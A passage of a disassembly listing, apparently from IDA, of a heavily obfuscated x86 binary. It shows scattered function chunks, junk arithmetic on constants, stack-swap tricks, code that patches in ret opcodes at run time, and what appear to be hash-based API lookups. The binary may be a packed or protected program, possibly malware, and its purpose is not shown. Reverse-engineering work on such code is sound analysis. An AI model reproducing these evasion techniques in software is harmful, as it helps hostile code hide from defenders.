loc_4506C8:				; CODE XREF: sub_44AF7D+21j
		jmp	loc_449ECE
; END OF FUNCTION CHUNK	FOR sub_44AF7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C03F

loc_4506CD:				; CODE XREF: dviuq5id:loc_4492D6j
					; sub_43C03F:loc_4499F5j
		jmp	loc_45A188
; END OF FUNCTION CHUNK	FOR sub_43C03F
; ---------------------------------------------------------------------------

loc_4506D2:				; CODE XREF: dviuq5id:00448D48j
		jl	loc_43F91C

loc_4506D8:				; CODE XREF: dviuq5id:0043B7CAj
		jmp	loc_4546E2
; ---------------------------------------------------------------------------
		adc	eax, esi
		jmp	loc_43F912
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]

loc_4506EA:				; CODE XREF: dviuq5id:004523C5j
		ror	eax, 1Ah
		push	offset sub_458882
		jmp	loc_4459FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_4506F7:				; CODE XREF: sub_44846C+10FBBj
		jz	loc_44634A
		add	ebx, eax
		cmp	ebx, 0E35C1A2Eh
		jmp	loc_446344
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D70

loc_45070A:				; CODE XREF: sub_458D70:loc_43FDA7j
					; sub_458D70-21BDj
		rol	edx, 12h
		add	edx, 4090B1EDh
		sub	edx, 0E43F086Eh
		push	offset loc_43C20C
		jmp	nullsub_347
; END OF FUNCTION CHUNK	FOR sub_458D70
; ---------------------------------------------------------------------------

loc_450723:				; CODE XREF: dviuq5id:0044E4FDj
		jz	loc_43E44E
		jmp	loc_440440
; ---------------------------------------------------------------------------

loc_45072E:				; CODE XREF: dviuq5id:004440ACj
		add	edx, 95E9533Ch
		cmp	edx, 0A2B60B24h
		jmp	loc_453898
; ---------------------------------------------------------------------------

loc_45073F:				; CODE XREF: dviuq5id:00458ECDj
		jo	loc_451B85
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_450745:				; CODE XREF: sub_44C6B8:loc_43905Dj
		or	ecx, 6111B255h
		add	ecx, 808BA0ABh
		xchg	ecx, [esp+0]
		jmp	loc_44FE8F
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------

loc_450759:				; CODE XREF: dviuq5id:loc_455AD5j
					; DATA XREF: sub_43F9BC-4CF0o
		xchg	ebx, [esp]
		mov	ecx, ebx
		pop	ebx
		xor	eax, eax
		jmp	locret_44A3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_450766:				; CODE XREF: sub_44460F-30FAj
		add	eax, 7D0h
		jmp	loc_44819A
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------

loc_450770:				; CODE XREF: dviuq5id:loc_4556E6j
		jl	loc_440799
; START	OF FUNCTION CHUNK FOR sub_448154

loc_450776:				; CODE XREF: sub_448154+5236j
		jmp	loc_446BFB
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_45077B:				; CODE XREF: sub_43D28E+3j
		jmp	loc_4545AF
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
		xchg	ebp, [edi]
		shl	eax, 1Bh
		mov	[esi], ecx
		jmp	loc_440797
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_45078C:				; CODE XREF: sub_439A5E+7273j
					; sub_44AB80+907Dj
		shl	ebp, 16h

loc_45078F:				; CODE XREF: sub_439A5E:loc_43E7C7j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44302E
		jmp	loc_43EDFC
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------

loc_4507A0:				; DATA XREF: sub_443FD3+13o
		add	eax, 232491C0h
		mov	eax, [eax]
		push	offset sub_44B301
; START	OF FUNCTION CHUNK FOR sub_450686

loc_4507AD:				; CODE XREF: sub_450686:loc_44D1E2j
		jmp	nullsub_123
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_4507B2:				; CODE XREF: sub_459194:loc_4450E9j
		sbb	edi, ecx
		sbb	eax, edx
		adc	ebp, 2470C4EFh
		jmp	loc_44B9E9
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_4507C1:				; CODE XREF: sub_43FAE1+4357j
		shr	ebp, 0Bh
		jnz	loc_4596E0
		shr	ecx, 1Bh

loc_4507CD:				; CODE XREF: dviuq5id:loc_43C2CFj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439EA2
		jmp	loc_443932
; END OF FUNCTION CHUNK	FOR sub_43FAE1
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFEA316h, 72830F52h, 0F7FFFE88h, 0DCE1E9D3h
		db 0FEh, 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_260. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4507F3:				; CODE XREF: dviuq5id:004429FEj
		jmp	sub_4432C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_4507F8:				; CODE XREF: sub_457B2A:loc_439976j
					; dviuq5id:0044F452j
		mov	edx, ecx
		pop	ecx
		xor	edx, 0EED427A6h
		sub	edx, 4117B7A6h
		jnb	loc_43AC65

loc_45080D:				; CODE XREF: sub_449E4E+Aj
		jmp	loc_4459D7
; END OF FUNCTION CHUNK	FOR sub_457B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450981

loc_450812:				; CODE XREF: sub_450981-13455j
		jmp	sub_44BB42
; END OF FUNCTION CHUNK	FOR sub_450981

; =============== S U B	R O U T	I N E =======================================



sub_450817	proc near		; CODE XREF: sub_44B2EA:loc_43A278p
					; sub_454267+B0j
		xchg	eax, [esp+0]
		pop	eax
		rol	eax, 8
		call	sub_4426BD

loc_450823:				; CODE XREF: sub_43EC6F+105F8j
		jmp	nullsub_124
sub_450817	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_450828:				; CODE XREF: sub_43CC42:loc_44CB03j
		and	esi, eax
; END OF FUNCTION CHUNK	FOR sub_43CC42

; =============== S U B	R O U T	I N E =======================================



sub_45082A	proc near		; CODE XREF: sub_44124F+5p

; FUNCTION CHUNK AT 00439386 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B5E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445829 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044BA71 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF81 SIZE 00000018 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	9662C860h
		jmp	loc_44BA71
sub_45082A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_450838	proc near		; CODE XREF: sub_44084F:loc_439A10j
		retn
sub_450838	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_450839:				; CODE XREF: sub_441DDA:loc_43FC28j
		adc	eax, 4D73953Bh
		mov	eax, esi
		jmp	sub_44DDFB
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449948

loc_450846:				; CODE XREF: sub_449948+CE84j
		and	ecx, edx
		push	offset sub_453BCF
		jmp	loc_459B1B
; END OF FUNCTION CHUNK	FOR sub_449948
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A3E

loc_450852:				; CODE XREF: sub_452A3E:loc_44DE92j
		push	0A0B15D8h
		pop	ecx
		rol	ecx, 4
		sub	ecx, 0D6C5FF02h
		or	ecx, 44EC27E1h
		add	ecx, 3254C5B2h
		xchg	ecx, [esp+4+var_4]
		jmp	sub_442503
; END OF FUNCTION CHUNK	FOR sub_452A3E
; ---------------------------------------------------------------------------
		push	ebx
		jns	loc_44532B
		jmp	sub_4408FF
; ---------------------------------------------------------------------------

loc_450881:				; CODE XREF: dviuq5id:00446A72j
		jnb	loc_4408D4
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_450887:				; CODE XREF: sub_44EAC4:loc_43FA3Dj
					; dviuq5id:loc_446A65j
		rol	eax, 16h
		xor	eax, 0F783F9CBh
		push	eax
		mov	eax, edx
		xchg	eax, [esp+8+var_8]
		pushf
		push	0EEE985B3h
		jmp	loc_454159
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_4508A1:				; CODE XREF: sub_449B7F:loc_440724j
		mov	[ebp-4], eax
		push	offset loc_458835
		jmp	nullsub_239
; END OF FUNCTION CHUNK	FOR sub_449B7F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_4508AF:				; CODE XREF: sub_45753F-A9A2j
		jmp	loc_44596A
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4508B4:				; CODE XREF: sub_43FA59:loc_4546BAj
		ror	eax, 1Eh
		xor	eax, 0F176C886h
		call	sub_44C592
; END OF FUNCTION CHUNK	FOR sub_43FA59
; START	OF FUNCTION CHUNK FOR sub_452BBF

loc_4508C2:				; CODE XREF: sub_452BBF+3317j
		jmp	loc_44FF70
; END OF FUNCTION CHUNK	FOR sub_452BBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_4508C7:				; CODE XREF: sub_44460F+462j
		jmp	loc_4525A7
; END OF FUNCTION CHUNK	FOR sub_44460F

; =============== S U B	R O U T	I N E =======================================



sub_4508CC	proc near		; CODE XREF: sub_43CC42:loc_44EF11j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		retn
sub_4508CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_4508D3:				; CODE XREF: sub_443ECE+9266j
		jmp	loc_449168
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_4508D8:				; CODE XREF: sub_4422EC-1DBBj
		push	edx
		jmp	loc_43C343
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
		push	3D9D8F4h
		shl	ebx, 0Ah
		jmp	sub_43FA59
; ---------------------------------------------------------------------------

loc_4508EB:				; CODE XREF: dviuq5id:0045326Cj
		shr	ecx, 6

loc_4508EE:				; CODE XREF: dviuq5id:loc_453249j
		add	esi, 11D9B988h
		or	esi, 0A3F7575Eh
		cmp	esi, 6774DEE1h
		jmp	loc_45493F

; =============== S U B	R O U T	I N E =======================================



sub_450905	proc near		; CODE XREF: sub_441DDA:loc_43B543p
					; dviuq5id:0045A624j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004390F6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00439134 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440C74 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440DDE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441FD9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004420BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004479BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449816 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044E85B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045318A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004551BB SIZE 0000000B BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		mov	eax, [esp+0]
		push	edi
		jmp	loc_440C74
sub_450905	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478F7

loc_450912:				; CODE XREF: sub_4478F7+Aj
		mov	[edi], eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_4478F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_450916:				; CODE XREF: sub_44E1C0+AA08j
		jmp	loc_4484C0
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_45091B:				; CODE XREF: sub_43BA0E+4C6Cj
		jmp	loc_44D6A5
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_450920:				; CODE XREF: sub_43FA59:loc_449117j
		rol	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_450925:				; CODE XREF: sub_440C61+17052j
		jmp	loc_444B11
; END OF FUNCTION CHUNK	FOR sub_440C61

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_45092A	proc near		; CODE XREF: sub_453B6B-48A0j
		push	ebp
		mov	ebp, esp
		jmp	loc_455071
sub_45092A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4572AA

loc_450932:				; CODE XREF: sub_4572AA:loc_44F687j
		cmp	ebx, ecx
		pop	ecx
		or	ecx, ebx
		shl	eax, 0Ch
		jmp	loc_44333D
; END OF FUNCTION CHUNK	FOR sub_4572AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_45093F:				; CODE XREF: sub_4512BC:loc_4512C7j
		add	ecx, 2CFEF61Dh
		mov	[ecx], eax
		pop	ecx
		cmp	dword ptr [ebp-4], 0
		jz	loc_44BA63
		jmp	loc_4563DE
; END OF FUNCTION CHUNK	FOR sub_4512BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_311. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_450958:				; CODE XREF: sub_44EAC4-A4EBj
		jmp	loc_455089
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441645

loc_45095D:				; CODE XREF: sub_441645+Cj
		mov	eax, offset dword_447788
		call	sub_450A73
		cmp	ds:dword_44778C, 0
		jnz	loc_450EAF
		lea	edx, [ebp+var_14]
		mov	eax, offset dword_447798
		jmp	loc_44F79B
; END OF FUNCTION CHUNK	FOR sub_441645

; =============== S U B	R O U T	I N E =======================================



sub_450981	proc near		; CODE XREF: dviuq5id:0043A5D1j
					; sub_44074B:loc_44075Ap

; FUNCTION CHUNK AT 0043CB2D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D523 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00450812 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ecx, ebp
		pop	ebp
		jmp	loc_43CB2D
sub_450981	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_45098D:				; CODE XREF: dviuq5id:loc_448DFEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_45098E:				; CODE XREF: sub_448FC7+E210j
		jmp	nullsub_268
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C50A

loc_450993:				; CODE XREF: sub_44C50A+Aj
		jmp	loc_445595
; END OF FUNCTION CHUNK	FOR sub_44C50A
; ---------------------------------------------------------------------------

loc_450998:				; CODE XREF: dviuq5id:00440096j
		jmp	loc_44F1E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458330

loc_45099D:				; CODE XREF: sub_458330:loc_43C005j
		push	offset loc_451974
		jmp	nullsub_352
; END OF FUNCTION CHUNK	FOR sub_458330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_4509A7:				; CODE XREF: sub_443F7F+15A7Aj
		mov	eax, 201E933Eh
		call	sub_453642
		push	esi
		push	0A7C7A91Ch
		pop	esi
		sub	esi, 5FCD50CFh
		test	esi, 8000000h
		jmp	loc_44AF14
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		shr	ecx, 0Ch
		xor	esi, edx
		jmp	sub_45799F
; ---------------------------------------------------------------------------

locret_4509D3:				; CODE XREF: dviuq5id:00444D47j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4509D4:				; CODE XREF: sub_44514D+53E8j
		or	ebp, 0F3060DDCh
		or	esi, ebp
		jns	loc_43D56B

loc_4509E2:				; CODE XREF: sub_44514D:loc_452DF4j
		xor	edx, 2F9CB09Bh
		add	edx, ebp
		jmp	loc_45885B
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_4509EF	proc near		; DATA XREF: dviuq5id:00445C38o

; FUNCTION CHUNK AT 00447EA5 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		jmp	loc_447EA5
sub_4509EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4509F7	proc near		; CODE XREF: dviuq5id:004434CFj
					; sub_44C2F6+41BAp

; FUNCTION CHUNK AT 0043AC18 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043B116 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BBC7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DA37 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F3BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044096D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044541B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446B13 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044889F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00449089 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00449FEB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AAA5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AFE9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BC78 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D4EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E1BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451FA9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00452F1D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00454DC6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004571F9 SIZE 00000010 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_43BBC7
		jmp	loc_44096D
sub_4509F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	eax, 228F4457h
		jmp	loc_44820D
; ---------------------------------------------------------------------------

loc_450A13:				; CODE XREF: dviuq5id:loc_43965Dj
		jz	loc_439704
		jmp	loc_446E08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_450A1E:				; CODE XREF: sub_44AC6E:loc_439144j
		jnz	loc_44B522
		call	sub_449C42

locret_450A29:				; CODE XREF: sub_448800:loc_4447AAj
		retn
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------

loc_450A2A:				; CODE XREF: dviuq5id:00440B1Aj
		jmp	loc_4495C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_450A2F:				; CODE XREF: sub_4477D7-A9E6j
		mov	[ebp+eax-100h],	dl
		inc	dword ptr [ebp-108h]
		inc	dword ptr [ebp-104h]
		jmp	loc_45189B
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_450A47:				; CODE XREF: sub_44E1C0:loc_457D0Aj
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	ecx
		push	0CD0471F6h
		pop	ecx
		jmp	loc_44F926
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_450A61:				; CODE XREF: sub_45844D-174DCj
		cmp	al, 0A4h
		jnz	loc_44933D
		jmp	loc_457F01
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450217

loc_450A6E:				; CODE XREF: sub_450217+5210j
		jmp	loc_44ABCB
; END OF FUNCTION CHUNK	FOR sub_450217

; =============== S U B	R O U T	I N E =======================================



sub_450A73	proc near		; CODE XREF: sub_450A73-F796j
					; sub_441CEF+8p ...

; FUNCTION CHUNK AT 004412D3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 004418FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E2EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044EFAF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00451F19 SIZE 00000005 BYTES

		mov	edx, 1
		lock xchg edx, [eax]
		or	edx, edx
		jz	nullsub_126
		jmp	loc_44EFAF
sub_450A73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_450A88:				; CODE XREF: sub_449485-9C26j
		jge	loc_4477E0
		mov	edi, [esi]

loc_450A90:				; CODE XREF: sub_449485:loc_444705j
					; sub_453BCF-3C49j ...
		push	0E4CFAF8Dh
		pop	ecx

loc_450A96:				; CODE XREF: dviuq5id:loc_450DD6j
		sub	ecx, 5B2FC3B5h
		jmp	loc_451CD4
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_450AA1:				; CODE XREF: sub_45383B-25F4j
		add	eax, 54h
		push	offset loc_44087E
		jmp	nullsub_504
; END OF FUNCTION CHUNK	FOR sub_45383B

; =============== S U B	R O U T	I N E =======================================



sub_450AAE	proc near		; DATA XREF: dviuq5id:00455A8Fo

var_4		= dword	ptr -4

		push	esi
		push	0BAA16D3h
		pop	esi
		xor	esi, 0B4BBAE8Ah
		add	esi, 4133AA6Dh
		xchg	esi, [esp+4+var_4]
		jmp	nullsub_495
sub_450AAE	endp

; ---------------------------------------------------------------------------

loc_450AC9:				; CODE XREF: dviuq5id:00455222j
		xor	ebx, 8B71EC80h
		or	ebx, 0EA0B76C7h
		push	offset sub_43A332
		jmp	loc_43ADA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_450ADF:				; CODE XREF: sub_458BA4-B366j
		jb	loc_44427E
		rol	ebp, 1Ch
		jmp	loc_44A69D
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_450AED:				; CODE XREF: sub_43EB11:loc_44B748j
		jnz	loc_457E93
		or	eax, 6EF69911h
		ror	ecx, 1Eh
		jmp	loc_457E8D
; END OF FUNCTION CHUNK	FOR sub_43EB11

; =============== S U B	R O U T	I N E =======================================



sub_450B01	proc near		; CODE XREF: sub_4403E5:loc_4403F5j

; FUNCTION CHUNK AT 0043A1D2 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0043B33F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004425BF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00442AAD SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00443C9B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449E2F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044AE45 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C5AE SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044F555 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452834 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00453027 SIZE 00000009 BYTES

		add	esp, 0FFFFFFD8h
		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		jmp	loc_44AE45
sub_450B01	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_450B1F:				; CODE XREF: sub_43FDFB+60C8j
					; dviuq5id:loc_450F1Ej
		pop	edx
		or	edx, 0DFB60161h
		and	edx, 4D68510Ch
		add	edx, 0CCA7B52Bh
		push	edi

loc_450B33:				; CODE XREF: dviuq5id:0043DF79j
		pushf
		jmp	loc_44B417
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_450B39:				; CODE XREF: sub_43AEAA:loc_45157Dj
		jnz	sub_43EEAC
		jmp	loc_44DC36
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_450B44:				; CODE XREF: sub_446B53-4A28j
		and	ebp, esi
		add	ecx, edx
		cmp	ebx, eax
		jmp	loc_43D651
; END OF FUNCTION CHUNK	FOR sub_446B53

; =============== S U B	R O U T	I N E =======================================



sub_450B4F	proc near		; CODE XREF: dviuq5id:00443AD2j
					; dviuq5id:00444F3Bp
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_14
sub_450B4F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		push	0D44C7846h
		jmp	loc_4441AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457574

loc_450B66:				; CODE XREF: sub_457574:loc_457585j
		jz	loc_446748
		jmp	loc_4559E2
; END OF FUNCTION CHUNK	FOR sub_457574
; ---------------------------------------------------------------------------

loc_450B71:				; DATA XREF: sub_448F69:loc_4420ABo
		add	ecx, 0B526CC00h
		xchg	ecx, [esp]
		jmp	sub_44A58C
; ---------------------------------------------------------------------------
		push	ecx
		push	0DE557771h
		pop	ecx
		jmp	loc_43AD52
; ---------------------------------------------------------------------------
		jl	loc_44F473
		jmp	sub_4467AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_450B96:				; CODE XREF: sub_44084F+18244j
		jno	loc_441C7D
		jmp	loc_447CBF
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F2B4

loc_450BA1:				; CODE XREF: sub_43F2B4:loc_43B478j
		mov	eax, [eax]
		push	offset sub_43ED10
		jmp	nullsub_192
; END OF FUNCTION CHUNK	FOR sub_43F2B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_450BAD:				; CODE XREF: sub_446DD8+4186j
		push	0F4F977C0h
		pop	edx
		sub	edx, 0F5F79D71h
		and	edx, 0FCFECB26h
		add	edx, 44354DEh
		mov	[edx], eax
		pop	edx
		jmp	loc_45404B
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------

loc_450BCD:				; CODE XREF: dviuq5id:00442E90j
		add	esi, 0C6C2FBEAh
		mov	esi, [esi]
		xchg	esi, [esp]
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_450BD9:				; CODE XREF: sub_44952D+7j
		jmp	loc_45042A
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------

loc_450BDE:				; CODE XREF: dviuq5id:00440559j
		jmp	loc_44656B
; ---------------------------------------------------------------------------
		push	offset loc_44636B
		jmp	loc_43907A
; ---------------------------------------------------------------------------
		mov	eax, 24DE0EA8h
		call	sub_453642
		mov	ds:off_41D160, eax
		lea	eax, sub_44D42F
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D42F
; ---------------------------------------------------------------------------
		jle	sub_4408ED
		and	eax, 65E5D627h
		jmp	sub_43AB6B
; ---------------------------------------------------------------------------

loc_450C1C:				; CODE XREF: dviuq5id:0043D5E4j
		jz	loc_44DAD4
		jmp	loc_456558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_450C27:				; CODE XREF: sub_454267-16B2Dj
		call	sub_451B18

loc_450C2C:				; CODE XREF: sub_459DA3-F914j
		mov	eax, 26F528F2h
		call	sub_453642
		push	offset loc_43B9FA
		jmp	loc_43E0F9
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477D7

loc_450C40:				; CODE XREF: sub_4477D7+1141Aj
		jz	loc_4572D7
		jmp	loc_458A6A
; END OF FUNCTION CHUNK	FOR sub_4477D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455981

loc_450C4B:				; CODE XREF: sub_455981:loc_44CA95j
		call	sub_449EB7
		push	eax
		ror	eax, 10h
		push	offset loc_43DD5E
		jmp	loc_441F49
; END OF FUNCTION CHUNK	FOR sub_455981
; ---------------------------------------------------------------------------
		pop	edx

loc_450C5F:				; CODE XREF: dviuq5id:loc_43D993j
